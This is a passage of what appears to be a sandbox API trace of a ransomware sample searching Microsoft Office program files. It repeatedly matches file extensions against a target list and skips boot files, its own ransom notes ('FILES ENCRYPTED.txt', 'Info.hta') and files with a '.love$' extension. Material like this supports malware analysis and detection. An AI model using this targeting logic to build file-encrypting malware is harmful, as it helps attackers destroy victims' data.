(lpString1=".ai7", lpString2=".MSG") returned -1 [0249.493] lstrlenW (lpString=".ai8") returned 4 [0249.493] lstrcmpiW (lpString1=".ai8", lpString2=".MSG") returned -1 [0249.493] lstrlenW (lpString=".anim") returned 5 [0249.493] lstrcmpiW (lpString1=".anim", lpString2="T.MSG") returned -1 [0249.493] lstrlenW (lpString=".arw") returned 4 [0249.493] lstrcmpiW (lpString1=".arw", lpString2=".MSG") returned -1 [0249.493] lstrlenW (lpString=".as") returned 3 [0249.493] lstrcmpiW (lpString1=".as", lpString2="MSG") returned -1 [0249.493] lstrlenW (lpString=".asa") returned 4 [0249.493] lstrcmpiW (lpString1=".asa", lpString2=".MSG") returned -1 [0249.493] lstrlenW (lpString=".asc") returned 4 [0249.493] lstrcmpiW (lpString1=".asc", lpString2=".MSG") returned -1 [0249.493] lstrlenW (lpString=".ascx") returned 5 [0249.493] lstrcmpiW (lpString1=".ascx", lpString2="T.MSG") returned -1 [0249.493] lstrlenW (lpString=".asm") returned 4 [0249.493] lstrcmpiW (lpString1=".asm", lpString2=".MSG") returned -1 [0249.493] lstrlenW (lpString=".asmx") returned 5 [0249.493] lstrcmpiW (lpString1=".asmx", lpString2="T.MSG") returned -1 [0249.493] lstrlenW (lpString=".asp") returned 4 [0249.493] lstrcmpiW (lpString1=".asp", lpString2=".MSG") returned -1 [0249.493] lstrlenW (lpString=".aspx") returned 5 [0249.493] lstrcmpiW (lpString1=".aspx", lpString2="T.MSG") returned -1 [0249.493] lstrlenW (lpString=".asr") returned 4 [0249.493] lstrcmpiW (lpString1=".asr", lpString2=".MSG") returned -1 [0249.493] lstrlenW (lpString=".asx") returned 4 [0249.493] lstrcmpiW (lpString1=".asx", lpString2=".MSG") returned -1 [0249.493] lstrlenW (lpString=".avi") returned 4 [0249.493] lstrcmpiW (lpString1=".avi", lpString2=".MSG") returned -1 [0249.493] lstrlenW (lpString=".avs") returned 4 [0249.493] lstrcmpiW (lpString1=".avs", lpString2=".MSG") returned -1 [0249.493] lstrlenW (lpString=".backup") returned 7 [0249.493] lstrcmpiW (lpString1=".backup", lpString2="EXT.MSG") returned -1 [0249.493] lstrlenW (lpString=".bak") returned 4 [0249.493] lstrcmpiW (lpString1=".bak", lpString2=".MSG") returned -1 [0249.493] lstrlenW (lpString=".bay") returned 4 [0249.493] lstrcmpiW (lpString1=".bay", lpString2=".MSG") returned -1 [0249.493] lstrlenW (lpString=".bd") returned 3 [0249.494] lstrcmpiW (lpString1=".bd", lpString2="MSG") returned -1 [0249.494] lstrlenW (lpString=".bin") returned 4 [0249.494] lstrcmpiW (lpString1=".bin", lpString2=".MSG") returned -1 [0249.494] lstrlenW (lpString=".bmp") returned 4 [0249.494] lstrcmpiW (lpString1=".bmp", lpString2=".MSG") returned -1 [0249.494] lstrlenW (lpString=".bz2") returned 4 [0249.494] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0249.494] lstrlenW (lpString=".c") returned 2 [0249.494] lstrcmpiW (lpString1=".c", lpString2="SG") returned -1 [0249.494] lstrlenW (lpString=".cdr") returned 4 [0249.494] lstrcmpiW (lpString1=".cdr", lpString2=".MSG") returned -1 [0249.494] lstrlenW (lpString=".cer") returned 4 [0249.494] lstrcmpiW (lpString1=".cer", lpString2=".MSG") returned -1 [0249.494] lstrlenW (lpString=".cf") returned 3 [0249.494] lstrcmpiW (lpString1=".cf", lpString2="MSG") returned -1 [0249.494] lstrlenW (lpString=".cfc") returned 4 [0249.494] lstrcmpiW (lpString1=".cfc", lpString2=".MSG") returned -1 [0249.494] lstrlenW (lpString=".cfm") returned 4 [0249.494] lstrcmpiW (lpString1=".cfm", lpString2=".MSG") returned -1 [0249.494] lstrlenW (lpString=".cfml") returned 5 [0249.494] lstrcmpiW (lpString1=".cfml", lpString2="T.MSG") returned -1 [0249.494] lstrlenW (lpString=".cfu") returned 4 [0249.494] lstrcmpiW (lpString1=".cfu", lpString2=".MSG") returned -1 [0249.494] lstrlenW (lpString=".chm") returned 4 [0249.494] lstrcmpiW (lpString1=".chm", lpString2=".MSG") returned -1 [0249.494] lstrlenW (lpString=".cin") returned 4 [0249.494] lstrcmpiW (lpString1=".cin", lpString2=".MSG") returned -1 [0249.494] lstrlenW (lpString=".class") returned 6 [0249.494] lstrcmpiW (lpString1=".class", lpString2="XT.MSG") returned -1 [0249.494] lstrlenW (lpString=".clx") returned 4 [0249.494] lstrcmpiW (lpString1=".clx", lpString2=".MSG") returned -1 [0249.494] lstrlenW (lpString=".config") returned 7 [0249.494] lstrcmpiW (lpString1=".config", lpString2="EXT.MSG") returned -1 [0249.494] lstrlenW (lpString=".cpp") returned 4 [0249.494] lstrcmpiW (lpString1=".cpp", lpString2=".MSG") returned -1 [0249.494] lstrlenW (lpString=".cr2") returned 4 [0249.495] lstrcmpiW (lpString1=".cr2", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".crt") returned 4 [0249.495] lstrcmpiW (lpString1=".crt", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".crw") returned 4 [0249.495] lstrcmpiW (lpString1=".crw", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".cs") returned 3 [0249.495] lstrcmpiW (lpString1=".cs", lpString2="MSG") returned -1 [0249.495] lstrlenW (lpString=".css") returned 4 [0249.495] lstrcmpiW (lpString1=".css", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".csv") returned 4 [0249.495] lstrcmpiW (lpString1=".csv", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".cub") returned 4 [0249.495] lstrcmpiW (lpString1=".cub", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".dae") returned 4 [0249.495] lstrcmpiW (lpString1=".dae", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".dat") returned 4 [0249.495] lstrcmpiW (lpString1=".dat", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".db") returned 3 [0249.495] lstrcmpiW (lpString1=".db", lpString2="MSG") returned -1 [0249.495] lstrlenW (lpString=".dbf") returned 4 [0249.495] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".dbx") returned 4 [0249.495] lstrcmpiW (lpString1=".dbx", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".dc3") returned 4 [0249.495] lstrcmpiW (lpString1=".dc3", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".dcm") returned 4 [0249.495] lstrcmpiW (lpString1=".dcm", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".dcr") returned 4 [0249.495] lstrcmpiW (lpString1=".dcr", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".der") returned 4 [0249.495] lstrcmpiW (lpString1=".der", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".dib") returned 4 [0249.495] lstrcmpiW (lpString1=".dib", lpString2=".MSG") returned -1 [0249.495] lstrlenW (lpString=".dic") returned 4 [0249.496] lstrcmpiW (lpString1=".dic", lpString2=".MSG") returned -1 [0249.496] lstrlenW (lpString=".dif") returned 4 [0249.496] lstrcmpiW (lpString1=".dif", lpString2=".MSG") returned -1 [0249.496] lstrlenW (lpString=".divx") returned 5 [0249.496] lstrcmpiW (lpString1=".divx", lpString2="T.MSG") returned -1 [0249.496] lstrlenW (lpString=".djvu") returned 5 [0249.496] lstrcmpiW (lpString1=".djvu", lpString2="T.MSG") returned -1 [0249.496] lstrlenW (lpString=".dng") returned 4 [0249.496] lstrcmpiW (lpString1=".dng", lpString2=".MSG") returned -1 [0249.496] lstrlenW (lpString=".doc") returned 4 [0249.496] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0249.496] lstrlenW (lpString=".docm") returned 5 [0249.496] lstrcmpiW (lpString1=".docm", lpString2="T.MSG") returned -1 [0249.496] lstrlenW (lpString=".docx") returned 5 [0249.496] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0249.496] lstrlenW (lpString=".dot") returned 4 [0249.496] lstrcmpiW (lpString1=".dot", lpString2=".MSG") returned -1 [0249.496] lstrlenW (lpString=".dotm") returned 5 [0249.496] lstrcmpiW (lpString1=".dotm", lpString2="T.MSG") returned -1 [0249.496] lstrlenW (lpString=".dotx") returned 5 [0249.496] lstrcmpiW (lpString1=".dotx", lpString2="T.MSG") returned -1 [0249.496] lstrlenW (lpString=".dpx") returned 4 [0249.496] lstrcmpiW (lpString1=".dpx", lpString2=".MSG") returned -1 [0249.496] lstrlenW (lpString=".dqy") returned 4 [0249.496] lstrcmpiW (lpString1=".dqy", lpString2=".MSG") returned -1 [0249.496] lstrlenW (lpString=".dsn") returned 4 [0249.496] lstrcmpiW (lpString1=".dsn", lpString2=".MSG") returned -1 [0249.496] lstrlenW (lpString=".dt") returned 3 [0249.496] lstrcmpiW (lpString1=".dt", lpString2="MSG") returned -1 [0249.496] lstrlenW (lpString=".dtd") returned 4 [0249.496] lstrcmpiW (lpString1=".dtd", lpString2=".MSG") returned -1 [0249.496] lstrlenW (lpString=".dwg") returned 4 [0249.496] lstrcmpiW (lpString1=".dwg", lpString2=".MSG") returned -1 [0249.496] lstrlenW (lpString=".dwt") returned 4 [0249.496] lstrcmpiW (lpString1=".dwt", lpString2=".MSG") returned -1 [0249.497] lstrlenW (lpString=".dx") returned 3 [0249.497] lstrcmpiW (lpString1=".dx", lpString2="MSG") returned -1 [0249.497] lstrlenW (lpString=".dxf") returned 4 [0249.497] lstrcmpiW (lpString1=".dxf", lpString2=".MSG") returned -1 [0249.497] lstrlenW (lpString=".edml") returned 5 [0249.497] lstrcmpiW (lpString1=".edml", lpString2="T.MSG") returned -1 [0249.497] lstrlenW (lpString=".efd") returned 4 [0249.497] lstrcmpiW (lpString1=".efd", lpString2=".MSG") returned -1 [0249.497] lstrlenW (lpString=".elf") returned 4 [0249.497] lstrcmpiW (lpString1=".elf", lpString2=".MSG") returned -1 [0249.497] lstrlenW (lpString=".emf") returned 4 [0249.497] lstrcmpiW (lpString1=".emf", lpString2=".MSG") returned -1 [0249.497] lstrlenW (lpString=".emz") returned 4 [0249.497] lstrcmpiW (lpString1=".emz", lpString2=".MSG") returned -1 [0249.497] lstrlenW (lpString=".epf") returned 4 [0249.497] lstrcmpiW (lpString1=".epf", lpString2=".MSG") returned -1 [0249.497] lstrlenW (lpString=".eps") returned 4 [0249.497] lstrcmpiW (lpString1=".eps", lpString2=".MSG") returned -1 [0249.497] lstrlenW (lpString=".epsf") returned 5 [0249.497] lstrcmpiW (lpString1=".epsf", lpString2="T.MSG") returned -1 [0249.497] lstrlenW (lpString=".epsp") returned 5 [0249.497] lstrcmpiW (lpString1=".epsp", lpString2="T.MSG") returned -1 [0249.497] lstrlenW (lpString=".erf") returned 4 [0249.497] lstrcmpiW (lpString1=".erf", lpString2=".MSG") returned -1 [0249.497] lstrlenW (lpString=".exr") returned 4 [0249.497] lstrcmpiW (lpString1=".exr", lpString2=".MSG") returned -1 [0249.497] lstrlenW (lpString=".f4v") returned 4 [0249.497] lstrcmpiW (lpString1=".f4v", lpString2=".MSG") returned -1 [0249.497] lstrlenW (lpString=".fido") returned 5 [0249.497] lstrcmpiW (lpString1=".fido", lpString2="T.MSG") returned -1 [0249.497] lstrlenW (lpString=".flm") returned 4 [0249.497] lstrcmpiW (lpString1=".flm", lpString2=".MSG") returned -1 [0249.497] lstrlenW (lpString=".flv") returned 4 [0249.497] lstrcmpiW (lpString1=".flv", lpString2=".MSG") returned -1 [0249.497] lstrlenW (lpString=".frm") returned 4 [0249.497] lstrcmpiW (lpString1=".frm", lpString2=".MSG") returned -1 [0249.497] lstrlenW (lpString=".fxg") returned 4 [0249.497] lstrcmpiW (lpString1=".fxg", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".geo") returned 4 [0249.498] lstrcmpiW (lpString1=".geo", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".gif") returned 4 [0249.498] lstrcmpiW (lpString1=".gif", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".grs") returned 4 [0249.498] lstrcmpiW (lpString1=".grs", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".gz") returned 3 [0249.498] lstrcmpiW (lpString1=".gz", lpString2="MSG") returned -1 [0249.498] lstrlenW (lpString=".h") returned 2 [0249.498] lstrcmpiW (lpString1=".h", lpString2="SG") returned -1 [0249.498] lstrlenW (lpString=".hdr") returned 4 [0249.498] lstrcmpiW (lpString1=".hdr", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".hpp") returned 4 [0249.498] lstrcmpiW (lpString1=".hpp", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".hta") returned 4 [0249.498] lstrcmpiW (lpString1=".hta", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".htc") returned 4 [0249.498] lstrcmpiW (lpString1=".htc", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".htm") returned 4 [0249.498] lstrcmpiW (lpString1=".htm", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".html") returned 5 [0249.498] lstrcmpiW (lpString1=".html", lpString2="T.MSG") returned -1 [0249.498] lstrlenW (lpString=".icb") returned 4 [0249.498] lstrcmpiW (lpString1=".icb", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".ics") returned 4 [0249.498] lstrcmpiW (lpString1=".ics", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".iff") returned 4 [0249.498] lstrcmpiW (lpString1=".iff", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".inc") returned 4 [0249.498] lstrcmpiW (lpString1=".inc", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".indd") returned 5 [0249.498] lstrcmpiW (lpString1=".indd", lpString2="T.MSG") returned -1 [0249.498] lstrlenW (lpString=".ini") returned 4 [0249.498] lstrcmpiW (lpString1=".ini", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".iqy") returned 4 [0249.498] lstrcmpiW (lpString1=".iqy", lpString2=".MSG") returned -1 [0249.498] lstrlenW (lpString=".j2c") returned 4 [0249.499] lstrcmpiW (lpString1=".j2c", lpString2=".MSG") returned -1 [0249.499] lstrlenW (lpString=".j2k") returned 4 [0249.499] lstrcmpiW (lpString1=".j2k", lpString2=".MSG") returned -1 [0249.499] lstrlenW (lpString=".java") returned 5 [0249.499] lstrcmpiW (lpString1=".java", lpString2="T.MSG") returned -1 [0249.499] lstrlenW (lpString=".jp2") returned 4 [0249.499] lstrcmpiW (lpString1=".jp2", lpString2=".MSG") returned -1 [0249.499] lstrlenW (lpString=".jpc") returned 4 [0249.499] lstrcmpiW (lpString1=".jpc", lpString2=".MSG") returned -1 [0249.499] lstrlenW (lpString=".jpe") returned 4 [0249.499] lstrcmpiW (lpString1=".jpe", lpString2=".MSG") returned -1 [0249.499] lstrlenW (lpString=".jpeg") returned 5 [0249.499] lstrcmpiW (lpString1=".jpeg", lpString2="T.MSG") returned -1 [0249.499] lstrlenW (lpString=".jpf") returned 4 [0249.499] lstrcmpiW (lpString1=".jpf", lpString2=".MSG") returned -1 [0249.499] lstrlenW (lpString=".jpg") returned 4 [0249.499] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0249.499] lstrlenW (lpString=".jpx") returned 4 [0249.499] lstrcmpiW (lpString1=".jpx", lpString2=".MSG") returned -1 [0249.499] lstrlenW (lpString=".js") returned 3 [0249.499] lstrcmpiW (lpString1=".js", lpString2="MSG") returned -1 [0249.499] lstrlenW (lpString=".jsf") returned 4 [0249.499] lstrcmpiW (lpString1=".jsf", lpString2=".MSG") returned -1 [0249.499] lstrlenW (lpString=".json") returned 5 [0249.499] lstrcmpiW (lpString1=".json", lpString2="T.MSG") returned -1 [0249.499] lstrlenW (lpString=".jsp") returned 4 [0249.499] lstrcmpiW (lpString1=".jsp", lpString2=".MSG") returned -1 [0249.499] lstrlenW (lpString=".kdc") returned 4 [0249.499] lstrcmpiW (lpString1=".kdc", lpString2=".MSG") returned -1 [0249.499] lstrlenW (lpString=".kmz") returned 4 [0249.499] lstrcmpiW (lpString1=".kmz", lpString2=".MSG") returned -1 [0249.499] lstrlenW (lpString=".kwm") returned 4 [0249.499] lstrcmpiW (lpString1=".kwm", lpString2=".MSG") returned -1 [0249.499] lstrlenW (lpString=".lasso") returned 6 [0249.499] lstrcmpiW (lpString1=".lasso", lpString2="XT.MSG") returned -1 [0249.499] lstrlenW (lpString=".lbi") returned 4 [0249.499] lstrcmpiW (lpString1=".lbi", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".lgf") returned 4 [0249.500] lstrcmpiW (lpString1=".lgf", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".lgp") returned 4 [0249.500] lstrcmpiW (lpString1=".lgp", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".log") returned 4 [0249.500] lstrcmpiW (lpString1=".log", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".m1v") returned 4 [0249.500] lstrcmpiW (lpString1=".m1v", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".m4a") returned 4 [0249.500] lstrcmpiW (lpString1=".m4a", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".m4v") returned 4 [0249.500] lstrcmpiW (lpString1=".m4v", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".max") returned 4 [0249.500] lstrcmpiW (lpString1=".max", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".md") returned 3 [0249.500] lstrcmpiW (lpString1=".md", lpString2="MSG") returned -1 [0249.500] lstrlenW (lpString=".mda") returned 4 [0249.500] lstrcmpiW (lpString1=".mda", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".mdb") returned 4 [0249.500] lstrcmpiW (lpString1=".mdb", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".mde") returned 4 [0249.500] lstrcmpiW (lpString1=".mde", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".mdf") returned 4 [0249.500] lstrcmpiW (lpString1=".mdf", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".mdw") returned 4 [0249.500] lstrcmpiW (lpString1=".mdw", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".mef") returned 4 [0249.500] lstrcmpiW (lpString1=".mef", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".mft") returned 4 [0249.500] lstrcmpiW (lpString1=".mft", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".mfw") returned 4 [0249.500] lstrcmpiW (lpString1=".mfw", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".mht") returned 4 [0249.500] lstrcmpiW (lpString1=".mht", lpString2=".MSG") returned -1 [0249.500] lstrlenW (lpString=".mhtml") returned 6 [0249.500] lstrcmpiW (lpString1=".mhtml", lpString2="XT.MSG") returned -1 [0249.500] lstrlenW (lpString=".mka") returned 4 [0249.501] lstrcmpiW (lpString1=".mka", lpString2=".MSG") returned -1 [0249.501] lstrlenW (lpString=".mkidx") returned 6 [0249.501] lstrcmpiW (lpString1=".mkidx", lpString2="XT.MSG") returned -1 [0249.501] lstrlenW (lpString=".mkv") returned 4 [0249.501] lstrcmpiW (lpString1=".mkv", lpString2=".MSG") returned -1 [0249.501] lstrlenW (lpString=".mos") returned 4 [0249.501] lstrcmpiW (lpString1=".mos", lpString2=".MSG") returned -1 [0249.501] lstrlenW (lpString=".mov") returned 4 [0249.501] lstrcmpiW (lpString1=".mov", lpString2=".MSG") returned -1 [0249.501] lstrlenW (lpString=".mp3") returned 4 [0249.501] lstrcmpiW (lpString1=".mp3", lpString2=".MSG") returned -1 [0249.501] lstrlenW (lpString=".mp4") returned 4 [0249.501] lstrcmpiW (lpString1=".mp4", lpString2=".MSG") returned -1 [0249.501] lstrlenW (lpString=".mpeg") returned 5 [0249.501] lstrcmpiW (lpString1=".mpeg", lpString2="T.MSG") returned -1 [0249.501] lstrlenW (lpString=".mpg") returned 4 [0249.501] lstrcmpiW (lpString1=".mpg", lpString2=".MSG") returned -1 [0249.501] lstrlenW (lpString=".mpv") returned 4 [0249.501] lstrcmpiW (lpString1=".mpv", lpString2=".MSG") returned -1 [0249.501] lstrlenW (lpString=".mrw") returned 4 [0249.501] lstrcmpiW (lpString1=".mrw", lpString2=".MSG") returned -1 [0249.501] lstrlenW (lpString=".msg") returned 4 [0249.501] lstrcmpiW (lpString1=".msg", lpString2=".MSG") returned 0 [0249.501] lstrlenW (lpString="FPEXT.MSG") returned 9 [0249.501] lstrlenW (lpString=".love$") returned 6 [0249.501] lstrcmpiW (lpString1=".love$", lpString2="XT.MSG") returned -1 [0249.501] lstrlenW (lpString="FPEXT.MSG") returned 9 [0249.501] lstrcmpiW (lpString1="boot.ini", lpString2="FPEXT.MSG") returned -1 [0249.501] lstrcmpiW (lpString1="bootfont.bin", lpString2="FPEXT.MSG") returned -1 [0249.501] lstrcmpiW (lpString1="ntldr", lpString2="FPEXT.MSG") returned 1 [0249.501] lstrcmpiW (lpString1="ntdetect.com", lpString2="FPEXT.MSG") returned 1 [0249.501] lstrcmpiW (lpString1="io.sys", lpString2="FPEXT.MSG") returned 1 [0249.501] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="FPEXT.MSG") returned -1 [0249.501] lstrcmpiW (lpString1="Info.hta", lpString2="FPEXT.MSG") returned 1 [0249.501] lstrcmpiW (lpString1="finbbp.exe", lpString2="FPEXT.MSG") returned -1 [0249.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\FPEXT.MSG") returned 125 [0249.502] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29b77, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0249.502] FindClose (in: hFindFile=0x6cfdc8 | out: hFindFile=0x6cfdc8) returned 1 [0249.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0249.502] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d1f57e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239ec0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0249.502] lstrlenW (lpString="FPSRVUTL.DLL") returned 12 [0249.502] lstrlenW (lpString=".1cd") returned 4 [0249.502] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.502] lstrlenW (lpString=".3ds") returned 4 [0249.502] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1 [0249.502] lstrlenW (lpString=".3fr") returned 4 [0249.502] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1 [0249.502] lstrlenW (lpString=".3g2") returned 4 [0249.502] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1 [0249.502] lstrlenW (lpString=".3gp") returned 4 [0249.502] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1 [0249.502] lstrlenW (lpString=".7z") returned 3 [0249.502] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.502] lstrlenW (lpString=".accda") returned 6 [0249.502] lstrcmpiW (lpString1=".accda", lpString2="TL.DLL") returned -1 [0249.502] lstrlenW (lpString=".accdb") returned 6 [0249.502] lstrcmpiW (lpString1=".accdb", lpString2="TL.DLL") returned -1 [0249.502] lstrlenW (lpString=".accdc") returned 6 [0249.502] lstrcmpiW (lpString1=".accdc", lpString2="TL.DLL") returned -1 [0249.502] lstrlenW (lpString=".accde") returned 6 [0249.502] lstrcmpiW (lpString1=".accde", lpString2="TL.DLL") returned -1 [0249.502] lstrlenW (lpString=".accdt") returned 6 [0249.502] lstrcmpiW (lpString1=".accdt", lpString2="TL.DLL") returned -1 [0249.502] lstrlenW (lpString=".accdw") returned 6 [0249.503] lstrcmpiW (lpString1=".accdw", lpString2="TL.DLL") returned -1 [0249.503] lstrlenW (lpString=".adb") returned 4 [0249.503] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1 [0249.503] lstrlenW (lpString=".adp") returned 4 [0249.503] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1 [0249.503] lstrlenW (lpString=".ai") returned 3 [0249.503] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1 [0249.503] lstrlenW (lpString=".ai3") returned 4 [0249.503] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1 [0249.503] lstrlenW (lpString=".ai4") returned 4 [0249.503] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1 [0249.503] lstrlenW (lpString=".ai5") returned 4 [0249.503] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1 [0249.503] lstrlenW (lpString=".ai6") returned 4 [0249.503] lstrcmpiW (lpString1=".ai6", lpString2=".DLL") returned -1 [0249.503] lstrlenW (lpString=".ai7") returned 4 [0249.503] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1 [0249.503] lstrlenW (lpString=".ai8") returned 4 [0249.503] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1 [0249.503] lstrlenW (lpString=".anim") returned 5 [0249.503] lstrcmpiW (lpString1=".anim", lpString2="L.DLL") returned -1 [0249.503] lstrlenW (lpString=".arw") returned 4 [0249.503] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1 [0249.503] lstrlenW (lpString=".as") returned 3 [0249.503] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1 [0249.503] lstrlenW (lpString=".asa") returned 4 [0249.503] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1 [0249.503] lstrlenW (lpString=".asc") returned 4 [0249.503] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1 [0249.503] lstrlenW (lpString=".ascx") returned 5 [0249.503] lstrcmpiW (lpString1=".ascx", lpString2="L.DLL") returned -1 [0249.503] lstrlenW (lpString=".asm") returned 4 [0249.503] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1 [0249.503] lstrlenW (lpString=".asmx") returned 5 [0249.503] lstrcmpiW (lpString1=".asmx", lpString2="L.DLL") returned -1 [0249.503] lstrlenW (lpString=".asp") returned 4 [0249.504] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1 [0249.504] lstrlenW (lpString=".aspx") returned 5 [0249.504] lstrcmpiW (lpString1=".aspx", lpString2="L.DLL") returned -1 [0249.504] lstrlenW (lpString=".asr") returned 4 [0249.504] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1 [0249.504] lstrlenW (lpString=".asx") returned 4 [0249.504] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1 [0249.504] lstrlenW (lpString=".avi") returned 4 [0249.504] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1 [0249.504] lstrlenW (lpString=".avs") returned 4 [0249.504] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1 [0249.504] lstrlenW (lpString=".backup") returned 7 [0249.504] lstrcmpiW (lpString1=".backup", lpString2="UTL.DLL") returned -1 [0249.504] lstrlenW (lpString=".bak") returned 4 [0249.504] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1 [0249.504] lstrlenW (lpString=".bay") returned 4 [0249.504] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1 [0249.504] lstrlenW (lpString=".bd") returned 3 [0249.504] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1 [0249.504] lstrlenW (lpString=".bin") returned 4 [0249.504] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1 [0249.504] lstrlenW (lpString=".bmp") returned 4 [0249.504] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1 [0249.504] lstrlenW (lpString=".bz2") returned 4 [0249.504] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.504] lstrlenW (lpString=".c") returned 2 [0249.504] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1 [0249.504] lstrlenW (lpString=".cdr") returned 4 [0249.504] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1 [0249.504] lstrlenW (lpString=".cer") returned 4 [0249.504] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1 [0249.504] lstrlenW (lpString=".cf") returned 3 [0249.504] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1 [0249.504] lstrlenW (lpString=".cfc") returned 4 [0249.504] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1 [0249.504] lstrlenW (lpString=".cfm") returned 4 [0249.504] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1 [0249.505] lstrlenW (lpString=".cfml") returned 5 [0249.505] lstrcmpiW 